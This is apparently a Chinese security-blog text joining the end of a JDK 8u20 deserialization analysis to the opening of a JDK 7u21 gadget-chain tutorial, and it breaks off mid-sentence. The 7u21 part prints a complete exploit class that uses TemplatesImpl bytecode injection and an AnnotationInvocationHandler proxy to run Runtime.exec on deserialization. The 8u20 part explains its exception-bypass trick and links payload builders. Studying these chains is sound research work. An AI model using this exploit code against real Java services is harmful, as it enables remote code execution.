漏洞分析我们在jdk8u20漏洞原理部分提到逃过异常抛出是该漏洞的关键所在，又经过上面一个case的分析，现在再来看看如何逃过异常抛出呢？没错，就是在jdk源码中找到一个类似于该case中的BeanContextSupport类，让BeanContextSupport成为外层，去调用jdk源码中的AnnotationInvocationHandler类，这样一来没有异常抛出就能够使反序列化流程不被终止，成功组成新的gadget链，完成一次完美的反序列化漏洞攻击。那么在jdk源码中到底有没有一个类似于该case中的BeanContextSupport类？答案是显而易见的，其实为了方便读者理解此处的内容，我在case中就把这个类的名称给了出来——是的，就是 java.beans.beancontext.BeanContextSuppor类，我们利用的是该类中的readChildren方法，来具体看看： public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { int count = serializable; while (count-- > 0) { Object child = null; BeanContextSupport.BCSChild bscc = null; try { child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { continue; } catch (ClassNotFoundException cnfe) { continue; } synchronized(child) { BeanContextChild bcc = null; try { bcc = (BeanContextChild)child; } catch (ClassCastException cce) { // do nothing; } if (bcc != null) { try { bcc.setBeanContext(getBeanContextPeer()); bcc.addPropertyChangeListener("beanContext", childPCL); bcc.addVetoableChangeListener("beanContext", childVCL); } catch (PropertyVetoException pve) { continue; } } childDeserializedHook(child, bscc); } } } 可以看到，在该方法的第7行，对传入进来的ObjectInputStream对象调用了readObject方法进行反序列化处理，并且当在反序列化过程中如果出现异常，采用的是continue处理。完美的符合我们的要求。我们在上文中提到ObjectAnnotation这个概念，并且其实可以发现，如果存在ObjectAnnotation结构，那么一般是由TC_ENDBLOCKDATA - 0x78去标记结尾的，但是这里其实存在一个问题，我们知道在jdk7u21修复中是因为IllegalArgumentException异常被捕获后抛出了java.io.InvalidObjectException，虽然这里我们可以利用BeanContextSupport来强制序列化流程继续下去，但是抛出的异常会导致BeanContextSupport的ObjectAnnotation中TC_ENDBLOCKDATA - 0x78结尾标志无法被正常处理，如果我们不手动删除这个TC_ENDBLOCKDATA - 0x78那么会导致后面的结构归在ObjectAnnotation结构中，从而读取错误，反序列化出来的数据不是我们预期数据。所以我们在生成BeanContextSupport的ObjectAnnotation中不能按照正规的序列化结构，需要将标记结尾的结构TC_ENDBLOCKDATA - 0x78删除也正由于我们把TC_ENDBLOCKDATA - 0x78删除了，会导致我们在使用SerializationDumper工具查看jdk8u20的序列化数据结构出错，如下图所示：这里还有一个tips点，就是我们在插入BeanContextSupport对象的时候并不是像case中那样直接插入，而是借用假属性的概念插入。在成员抛弃中我们提到在反序列化中，如果当前这个对象中的某个字段并没有在字节流中出现，则这些字段会使用类中定义的默认值，如果这个值出现在字节流中，但是并不属于对象，则抛弃该值，但是如果这个值是一个对象的话，那么会为这个值分配一个 Handle。所以我们插入一个任意类型为BeanContextSupport的字段就可以在不影响原有的序列化流程的情况下，形成一个gadget链这里可能有点难以理解，多说一点我们知道一般gadget链是一链接着一链紧紧相连，通过写各种类之间的调用，就能够满足整个gadget链的要求，实现整个gadget链的相连。但在jdk8u20中，并非如此，因为LinkedHashSet没法在满足绕过异常抛出的条件下直接调用BeanContextSupport方法，但是BeanContextSupport可以调用AnnotationInvocationHandler方法，这也就导致我们的gadget链在LinkedHashSet下一步断了，那怎么办？只能通过修改序列化数据结构的方式，在LinkedHashSet中强行插入一个BeanContextSupport类型的字段值，由于在java反序列化的流程中，一般都是首先还原对象中字段的值，然后才会还原objectAnnotation结构中的值（即是按照序列化数据结构的顺序），所以它会首先反序列化LinkedHashSet，然后反序列LinkedHashSet字段的值，由于在这个字段值中有一个BeanContextSupport类型的字段，所以反序列化会去还原BeanContextSupport对象，也就是objectAnnotation中的数据在反序列化BeanContextSupport的过程中，会首先反序列化BeanContextSupport的字段值，其中有个值为 Templates.class 的 AnnotationInvocationHandler 类的对象的字段，然后反序列化会去还原AnnotationInvocationHandler对象，成功的关联了下一个链！最后就是同 Jdk7u21 一样的流程，利用动态代理触发Proxy.equals(EvilTemplates.class)，达到恶意类注入实现RCE的最终目的。目前jdk8u20反序列化漏洞 payload 的写法有以下几种方式：原生的，通过数组手动去构建：https://github.com/pwntester/JRE8u20_RCE_Gadget/通过字节码写入的方式构建：https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA、https://xz.aliyun.com/t/8277#toc-5通过python javaSerializationTools模块构建：https://mp.weixin.qq.com/s/SMq6aE5-qV9cINv1-74RgA纵观以上的方法各有各的优劣，有的容易理解，但是构建起来却很麻烦，有的不容易理解，但是构建起来较为方便，其实还有如果读者全文看下来，还有一种更容易理解的方法，就是先把jdk7u21漏洞利用的payload的序列化数据结构生成出来，然后向该数据结构中用类似case中的方法，去手动插入对象，但是这个工作量比较大，故我也没有手动去实现，有兴趣、有时间的朋友可以去尝试利用该方法生成payload（包你酸爽～但是对你理解jdk8u21来说，这种方式是最直白的方式）另外，jdk8u20特殊的一点在于，实际上BeanContextSupport不能算是真正意义上的一条链，链还是jdk7u21中的那条链，只不过BeanContextSupport是用来避免抛出异常用到的媒介。0x06 总结本文对jdk8u20原生反序列化漏洞进行了分析，但和其他分析文章不同的是，本文没有按照常规的分析方法进行分析，而是重点写了一个case，用一个最简单的case去了解jdk8u20最核心的问题点，然后从整体上阐述了jdk8u20反序列化漏洞是怎么一回事，流程上是什么样的站在读者的角度上去考虑，让自己如何用更直白的方式让别人理解你发的内容，我觉得这样的方式可以让我更能理解我所分析的漏洞、记忆我所写的内容，毕竟，每一个分析文章其实对于我来说都是一次整体上的总结0x07 参考https://github.com/pwntester/JRE8u20_RCE_Gadgethttp://wouter.coekaerts.be/2015/annotationinvocationhandlerhttps://paper.seebug.org/456/https://github.com/potats0/javaSerializationToolshttps://mp.weixin.qq.com/s/SMq6aE5-qV9cINv1-74RgAhttps://xz.aliyun.com/t/8277https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA
目录目录0x01 写在前面0x02 所需的知识点0x03 基础知识1、Java 反射2、javassist 动态修改类3、Java 静态类加载4、Java 动态代理Proxy 类InvocationHandler 接口5、hash碰撞0x04 jdk7u21 payload0x05 漏洞分析0x06 漏洞修复0x07 总结0x08 参考0x01 写在前面JDK7u21原生gadget链的构造十分经典，在对于其构造及思想学习后，写下本文作为笔记。0x02 所需的知识点JDK7u21这个链用了很多的Java基础知识点，主要如下：Java 反射javassist 动态修改类Java 静态类加载Java 动态代理hash碰撞为了方便大家理解此文，因此我会对这些知识点进行简单介绍，如果都了解的朋友可以直接翻到后面的分析过程。0x03 基础知识1、Java 反射反射 (Reflection) 是 Java 的特征之一，在C/C++中是没有反射的，反射的存在使得运行中的 Java 程序能够获取自身的信息，并且可以操作类或对象的内部属性。那么什么是反射呢？对此， Oracle 官方有着相关解释：“Reflection enables Java code to discover information about thefields, methods and constructors of loaded classes, and to usereflected fields, methods, and constructors to operate on theirunderlying counterparts, within security restrictions.”（反射使Java代码能够发现有关已加载类的字段、方法和构造函数的信息，并在安全限制内使用反射的字段、方法和构造函数对其底层对应的对象进行操作。）简单来说，通过反射，我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。同样的，JAVA的反射机制也是如此，在运行状态中，通过 Java 的反射机制，对于任意一个类，我们都能够判断一个对象所属的类；对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。既然利用Java的反射机制，我们可以无视类方法、变量访问权限修饰符，可以调用任何类的任意方法、访问并修改成员变量值，那么这可能导致安全问题，如果一个攻击者能够通过应用程序创建意外的控制流路径，那么就有可能绕过安全检查发起相关攻击。假设有段代码如下： String name = request.getParameter("name"); Command command = null; if (name.equals("Delect")) { command = new DelectCommand(); } else if (ctl.equals("Add")) { command = new AddCommand(); } else { ... } command.doAction(request);存在一个字段为name，当获取用户请求的name字段后进行判断，如果请求的是 Delect 操作，则执行DelectCommand 函数，若执行的是 Add 操作，则执行 AddCommand 函数，如果不是这两种操作，则执行其他代码。此时，假如有位开发者看到了这段代码，他觉得可以使用Java 的反射来重构此代码以减少代码行，如下所示：String name = request.getParameter("name"); Class ComandClass = Class.forName(name + "Command"); Command command = (Command) CommandClass.newInstance(); command.doAction(request);这样的重构看起来使得代码行减少，消除了if/else块，而且可以在不修改命令分派器的情况下添加新的命令类型，但是如果没有对传入进来的name字段进行限制，那么我们就能实例化实现Command接口的任何对象，从而导致安全问题。实际上，攻击者甚至不局限于本例中的Command接口对象，而是使用任何其他对象来实现，如调用系统中任何对象的默认构造函数，再如调用Runtime对象去执行系统命令，这就可能导致远程命令执行漏洞。更多关于反射的内容具体可以参考我以前写的这篇文章：https://www.cnpanda.net/codeaudit/705.html2、javassist 动态修改类Javaassist 就是一个用来处理 Java 字节码的类库，其主要优点在于简单、便捷。用户不需要了解虚拟机指令，就可以直接使用Java编码的形式，并且可以动态改变类的结构，或者动态生成类。Javassist中最为重要的是ClassPool，CtClass ，CtMethod 以及 CtField这几个类。ClassPool：一个基于HashMap实现的CtClass对象容器，其中键是类名称，值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径，因此在某些情况下，可能需要向ClassPool添加类路径或类字节。CtClass：表示一个类，这些 CtClass 对象可以从ClassPool获得。CtMethods：表示类中的方法。CtFields ：表示类中的字段。Javassit官方文档中给出的代码示例如下首先获取 ClassPool 的实例，ClassPool 主要用来修改字节码，并且在 ClassPool 中存储着 CtClass 对象，它能够按需创建出 CtClass 对象并提供给后续处理流程使用，当需要进行类修改操作的时候，可以通过 ClassPool 实例的.get()方法，获取CtClass对象。如在上述代码中就是从 pool 中利用 get 方法获取到了test.Rectangle对象，然后将获取到的 CtClass 对象赋值给cc变量。需要注意的是，从 ClassPool 中获取的 CtClass 对象，是可以被修改的。如在上述代码中，可以看到，原先的父类，由test.Rectangle被改成了test.Point。这种更改可以通过调用CtClass().writeFile()将其持久化到文件中。可以举个实例来看看，如下代码：import javassist.*; public class TestJavassist { public static void createPseson() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cls = pool.makeClass("Test"); CtField param = new CtField(pool.get("java.lang.String"), "test", cls); param.setModifiers(Modifier.PRIVATE); cls.addField(param, CtField.Initializer.constant("whoami")); CtConstructor cons = new CtConstructor(new CtClass[]{}, cls); cons.setBody("{test = \"whoami\";}"); cls.addConstructor(cons); cls.writeFile("./"); } public static void main(String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } } 运行后，就会生成名为Test.class的文件，如下图所示：实际上如果反编译该 class 文件，可以得到以下内容：public class Test{ private String test = "test"; public Test(){ this.test = "whoami"; } }这就是动态修改类的一些知识了。更具体的可以参考这位老哥写的文章：https://www.cnblogs.com/scy251147/p/11100961.html3、Java 静态类加载java 静态类加载属于类加载的一种，类加载即是指JVM虚拟机把.class文件中类信息加载进内存，并进行解析生成对应的class对象的过程，举个通俗点的例子来说，JVM在执行某段代码时，遇到了class A， 然而此时内存中并没有class A 的相关信息，于是 JVM 就会到相应的 class 文件中去寻 找class A的类信息，并加载进内存中，这就是我们所说的类加载过程。由此可见，JVM不是一开始就把所有的类都加载进内存中，而是只有第一次遇到某个需要运行的类时才会加载，且只加载一次。类加载的过程主要分为三个部分：加载、链接、初始化，而链接又可以细分为三个小部分：验证、准备、解析。在加载阶段，JVM 将 class 文件字节码内容通过类加载器加载到内存中，并将这些静态数据转换成方法区的运行时数据结构，然后生成一个代表这个类的 java.lang.Class 对象；在链接阶段，主要是将 Java 类的二进制代码合并到 JVM 的运行状态之中，在初始化阶段，主要是对类变量初始化，是执行类构造器的过程。换句话说，只对static修饰的变量或语句进行初始化。如果初始化一个类的时候，其父类尚未初始化，则优先初始化其父类。如果同时包含多个静态变量和静态代码块，则按照自上而下的顺序依次执行。java 静态类加载就是在这个阶段执行的，也就是说 java 静态类加载早于其他类加载。那么什么时候会发生类初始化呢？主要是类的主动引用（一定会发生类的初始化），类的主动引用主要指以下情形：虚拟机启动时，先初始化 main 方法所在的类new 一个类的对象调用类的静态成员（除了 final 常量）和静态方法使用 java.lang.refect包的方法对类进行反射调用当初始化一个类，如果其父类没有被初始化，那么会初始化他的父类关于类加载，可以参考这个【Class.forName() 与 ClassLoader.loadClass() - 哪个用于动态加载？】：https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading/8100407#8100407很有趣的一个讨论4、Java 动态代理代理是 Java中的一种设计模式，主要用于提供对目标对象另外的访问方式。即是通过代理对象访问目标对象。这样一来，就可以在目标对象实现的基础上，加强额外的功能操作，起到扩展目标对象的功能。举个例子来说，我们想买一款国外的产品，但是我们自己不想出国，那么就可以通过代购的方式来获取该产品。代理模式的关键点在于代理对象和目标对象，代理对象是对目标对象的扩展，并且代理对象会调用目标对象。来谈动态代理前可以理解以下静态代理。所谓静态代理，就像其名字一样，当确定了代理对象和被代理对象后，无法再去代理另一个对象，比如在生活中，我们找一个专门负责代购口红的代购人员让其代购口红，但是如果想要让其代购笔记本电脑，那么其就无法实现这一要求，因此我们就需要寻找另外一个专门负责代购笔记本电脑的人员，同理，在 Java 静态代理中，如果我们想要实现另一个代理，就需要重新写一个代理对象，如下图所示的就是这个原理：总的来说，在静态代理中，代理类和被代理的类实现了同样的接口，代理类同时持有被代理类的引用，这样，当我们需要调用被代理类的方法时，可以通过调用代理类的方法来实现，下图所示，就是静态代理实现的示意图。​ 静态代理的优势很明显，可以让开发人员在不修改已有代码的前提下，去完成一些增强功能的需求，但是静态代理的缺点也很明显，静态代理的使用会由于代理对象要实现与目标对象一致的接口，会产生过多的代理类，造成冗余；其次，大量使用静态代理会使项目不易维护，一旦接口增加方法，目标对象与代理对象都要进行修改。基于这两点，有了动态代理，动态代理的优势在于可以很方便的对代理类的函数进行统一的处理，而不用修改每个代理类中的方法。那对于我们信息安全人员来说，动态代理意味着什么呢？实际上，Java 中的“动态”也就意味着使用了反射，因此动态代理其实是基于反射机制的一种代理模式。如上图，动态代理和静态代理不同的点在于，动态代理可能有不同的需求（用户），通过动态代理，可以实现多个需求。动态代理其实就是通过实现接口的方式来实现代理，具体来说，动态代理是通过 Proxy 类创建代理对象，然后将接口方法“代理”给 InvocationHandler 接口完成的。动态代理的关键有两个，即上文中提到的 Proxy 类以及 InvocationHandler 接口，这是我们实现动态代理的核心。Proxy 类在JDK中，Java提供了java.lang.reflect.InvocationHandler接口和 java.lang.reflect.Proxy类，这两个类相互配合，其中Proxy类是入口。Proxy类是用来创建一个代理对象的类，它提供了很多方法，如：static InvocationHandler getInvocationHandler(Object proxy) 这个方法主要用于获取指定代理对象所关联的调用程序static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces) 该方法主要用于返回指定接口的代理类static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)该方法主要返回一个指定接口的代理类实例，该接口可以将方法调用指派到指定的调用处理程序。static boolean isProxyClass(Class<?> cl)当且仅当指定的类通过 getProxyClass 方法或 newProxyInstance 方法动态生成为代理类时，返回 true。这个方法的可靠性对于使用它做出安全决策而言非常重要，所以此方法的实现不应仅测试相关的类是否可以扩展 Proxy。在上述方法中，我们最常用的是newProxyInstance方法，这个方法的作用是创建一个代理类对象，它接收三个参数，loader、interfaces以及h，各个参数含义如下：loader：这是一个classloader对象，定义了由哪个classloader对象对生成的代理类进行加载。interfaces：代理类要实现的接口列表，表示我们将要给我们的代理对象提供一组什么样的接口，如果我们提供了这样一个接口对象数组，那么也就是声明了代理类实现了这些接口，代理类就可以调用接口中声明的所有方法。h：指派方法调用的调用处理程序，是一个InvocationHandler对象，表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上，并最终由其调用。InvocationHandler 接口java.lang.reflect InvocationHandler，主要方法为Object invoke(Object proxy, Method method, Object[] args) ，这个方法定义了代理对象调用方法时希望执行的动作，用于集中处理在动态代理类对象上的方法调用。Invoke 有三个参数，各个参数含义如下：proxy：在其上调用方法的代理实例method：对应于在代理实例上调用的接口方法的 Method 实例。 Method 对象的声明类将是在其中声明方法的接口，该接口可以是代理类赖以继承方法的代理接口的超接口。args：包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数，则为 null。基本类型的参数被包装在适当基本包装器类（如 java.lang.Integer 或 java.lang.Boolean）的实例中。以下代码就是一个简单的动态代理的实例：package main.java.com.ms08067.dtProxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class dtProxyDemo { } interface Speaker{ public void speak(); } class xiaoMing implements Speaker { @Override public void speak() { System.out.println("我有纠纷!"); } } class xiaoHua implements Speaker { @Override public void speak() { System.out.println("我有纠纷!"); } } class LawyerProxy implements InvocationHandler { Object obj; public LawyerProxy(Object obj){ this.obj = obj; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if(method.getName().equals("speak")){ System.out.println("有什么可以帮助你的"); method.invoke(obj,args); System.out.println("根据 XXXX 法律，应该 XXXX"); } return null; } } class gov{ public static void main(String[] args) { xiaoMing xiaoMing = new xiaoMing(); xiaoHua xiaoHua = new xiaoHua(); LawyerProxy xiaoMing_lawyerProxy = new LawyerProxy(xiaoMing); LawyerProxy xiaoHua_lawyerProxy = new LawyerProxy(xiaoHua); Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoMing_lawyerProxy); xiaoMingSpeaker.speak(); System.out.println("*********************"); Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoHua_lawyerProxy); xiaoHuaSpeaker.speak(); } }以上代码就是使用动态代理的方式，当为某个类或接口指定InvocationHandler对象时（如：LawyerProxy），那么在调用该类或接口方法时,就会去调用指定handler的invoke()方法（37行）。运行结果如下图所示：5、hash碰撞所谓的 hash碰撞是指两个不同的字符串计算得到的Hash值相同。如在国外社区上就有人给出了以下计算 hash 值为 0 的代码：public class hashtest { public static void main(String[] args){ long i = 0; loop: while(true){ String s = Long.toHexString(i); if(s.hashCode() == 0){ System.out.println("Found: '"+s+"'"); // break loop; } if(i % 1000000==0){ // System.out.println("checked: "+i); } i++; } } }运行后会得到 hash 值为 0 的字符串，如下图所示:Found: 'f5a5a608' Found: '38aeaf9a6' Found: '4b463c929' Found: '6d49bc466' Found: '771ffcd3a' Found: '792e22588' Found: '84f7f1613' Found: '857ed38ce' Found: '9da576938' Found: 'a84356f1b'0x04 jdk7u21 payload整个gadget链：终点（要达到的目标）：Runtime.exec() || TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() || AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() || Proxy(Templates).equals() || Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) || LinkedHashSet.add() || 起点（要读取的内容）： LinkedHashSet.readObject()package src.main.java; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashSet; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; class Reflections { public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } } class ClassFiles { public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[] classAsBytes(final Class<?> clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } } class Gadgets { static { // 启用SecurityManager时使用TemplatesImpl gadget的特殊情况 System.setProperty(DESERIALIZE_TRANSLET, "true"); } public static class StubTransletPayload extends AbstractTranslet implements Serializable { // private static final long serialVersionUID = -5971610431559700674L; public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { // private static final long serialVersionUID = 8207363842866235160L; } public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[0] = iface; if (ifaces.length > 0) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast( Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); } public static TemplatesImpl createTemplatesImpl() throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class // 获取容器ClassPool，注入classpath ClassPool pool = ClassPool.getDefault(); // System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // 获取已经编译好的类 // System.out.println("ClassName: " + StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态的的构造方法中插入payload clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" +"open -a Calculator" + "\");"); // 给payload类设置一个名称 // 允许重复执行的唯一名称（注意 PermGen 耗尽） clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取该类的字节码 final byte[] classBytes = clazz.toBytecode(); //System.out.println(Arrays.toString(classBytes)); // 将类字节注入实例 Reflections.setFieldValue( templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 只要触发这个方法就能执行我们注入的bytecodes // templates.getOutputProperties(); return templates; } } public class exp { public Object buildPayload() throws Exception { // 生成 evil 模板，如果触发 templates.getOutputProperties()，可以执行命令 Object templates = Gadgets.createTemplatesImpl(); // magic string, zeroHashCodeStr.hashCode() == 0 String zeroHashCodeStr = "f5a5a608"; // build a hash map, and put our evil templates in it. HashMap map = new HashMap(); //map.put(zeroHashCodeStr, "foo"); // Not necessary // Generate proxy's handler，use `AnnotationInvocationHandler` as proxy's handler // When proxy is done，all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler's invoke method. Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); // Reflections.setFieldValue(tempHandler, "type", Templates.class); // not necessary, because newInstance() already pass Templates.class to tempHandler Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); // Reflections.setFieldValue(templates, "_auxClasses", null); // Reflections.setFieldValue(templates, "_class", null); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); // save evil templates set.add(proxy); // proxy map.put(zeroHashCodeStr, templates); return set; } public static void main(String[] args) throws Exception { exp exploit = new exp(); Object payload = exploit.buildPayload(); // test payload ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin")); oos.writeObject(payload); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); ois.readObject(); } }结合payload看分析，明白payload为什么这样写，更容易帮助我们理解这个漏洞。0x05 漏洞分析如果分析过 CC 链或者看过 CC 链分析文章的朋友，一定知道在 CC 链中可以当成命令执行的载体有以下两个类：org.apache.commons.collections.functors.ChainedTransformerorg.apache.xalan.xsltc.trax.TemplatesImpl我们知道要想实现 RCE 就必须要调用一个命令执行类，Runtime.getRuntime().exec()，CC 链中的org.apache.commons.collections.functors.ChainedTransformer类就存在可以用于对象之间转换的Transformer接口，它有几个我们用得着的实现类，ConstantTransformer、InvokerTransformer以及ChainedTransformer，利用这几个对象，就可以构造出一个可以执行命令的链，从而达到命令执行的目的。但若是没找到可以用于对象之间转换的接口或者这些接口在黑名单中怎么办呢？当依赖或者源程序中不存在可以执行命令的方法时，可以选择使用TemplatesImpl作为命令执行载体，并想办法去触发它的newTransformer或getOutputProperties方法也就是上面我们所说的第二个类org.apache.xalan.xsltc.trax.TemplatesImpl，这个类是 jdk7u21 原生 gadget 链中我们需要当初命令执行载体的类。那么这个类如果构建 evil 类需要满足哪些条件呢？已经有师傅总结成了以下几个条件：TemplatesImpl类的 _name 变量 != nullTemplatesImpl类的_class变量 == nullTemplatesImpl类的 _bytecodes 变量 != nullTemplatesImpl类的_bytecodes是我们代码执行的类的字节码。执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类，通常使用jdk自带的TransformerFactoryImpl()类TemplatesImpl有四个方法：TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()但是对于后两个来说，是private方法，只能被对象可调用方法间接调用，而前两者是public方法，可以被对象直接调用。那么第一阶段我们便明白了——利用TemplatesImpl注入我们要构造的恶意类，然后想办法触发它的newTransformer或getOutputProperties方法。怎么触发？frohoff给了我们答案——AnnotationInvocationHandler.invoke那么这个方法为何能够触发呢？继续翻源码！ public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); ... }可以看到当调用方法为 equals并满足相关条件时，会继续调用内部方法equalsImpl()，跟进equalsImpl() private Boolean equalsImpl(Object o) { if (o == this) return true; if (!type.isInstance(o)) return false; for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); Object hisValue = null; AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null) { hisValue = hisHandler.memberValues.get(member); } else { try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false; } catch (IllegalAccessException e) { throw new AssertionError(e); } } if (!memberValueEquals(ourValue, hisValue)) return false; } return true; } 在equalsImpl()方法里，会首先判断传入的 Object 对象是否为 type 对象的实例，然后调用 type class 的所有方法，再依次调用。这样分析下来就清楚了，只要我们在实例化AnnotationInvocationHandler时传入Templates.class，然后令equals()的参数为 type 的实现类就可以实现getOutputProperties方法的触发。到这里我们的问题又来了。接下来的后续链又如何寻找呢？其实在这个类的开始，有一段话如下：InvocationHandler for dynamic proxy implementation of Annotation.InvocationHandler 用于 Annotation 的动态代理实现。那么根据前面动态代理相关的知识我们知道，当为某个类或接口指定InvocationHandler对象时，在调用该类或接口方法时，就会去调用指定handler的invoke()方法。因此，当我们使用 AnnotationInvocationHandler 创建 proxy object ，那么调用的所有方法都会变成对 invoke 方法的调用。也就是说，我们需要使用 AnnotationInvocationHandler 创建 Proxy Object 并让其代理 Templates 接口，然后再调用 proxy object 的 equals 方法，将 Templates 当成参数传入就完成了前部分链的组装。现在，我们的目标实际上就变成了如何调用Proxy.equals(EvilTemplates.class)。现在让我们总结一下能寻找到满足条件场景的条件：要能够调用 proxy 的 equals 方法（这是我们刚才分析的）要有反序列化接口——要能调用readObject() 方法（这样才可以将我们的序列化数据传进去开始反序列化）不向下说，我们先来看看ysoserial中的反序列化载体有哪些：AnnotationInvocationHandler （CC1、CC3、 Groovy1）PriorityQueue （CC2、CC4）BadAttributeValueExpException （CC5、 MozillaRhino1 ）HashSet （CC6）HashMap （ Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME ）org.jboss.interceptor.proxy.InterceptorMethodHandler （ JBossInterceptors1 、 JavassistWeld1 ）org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider （ Spring1 、 Spring2 ）这些反序列化载体中大多数是通过对元素进行一些操作，然后触发了后续链的调用。实际上我猜测jdk7u21的作者frohoff可能也是通过这样的思考最终找到了LinkedHashSet类。LinkedHashSet 位于 java.util 包内，是 HashSet 的子类，向其添加到 set 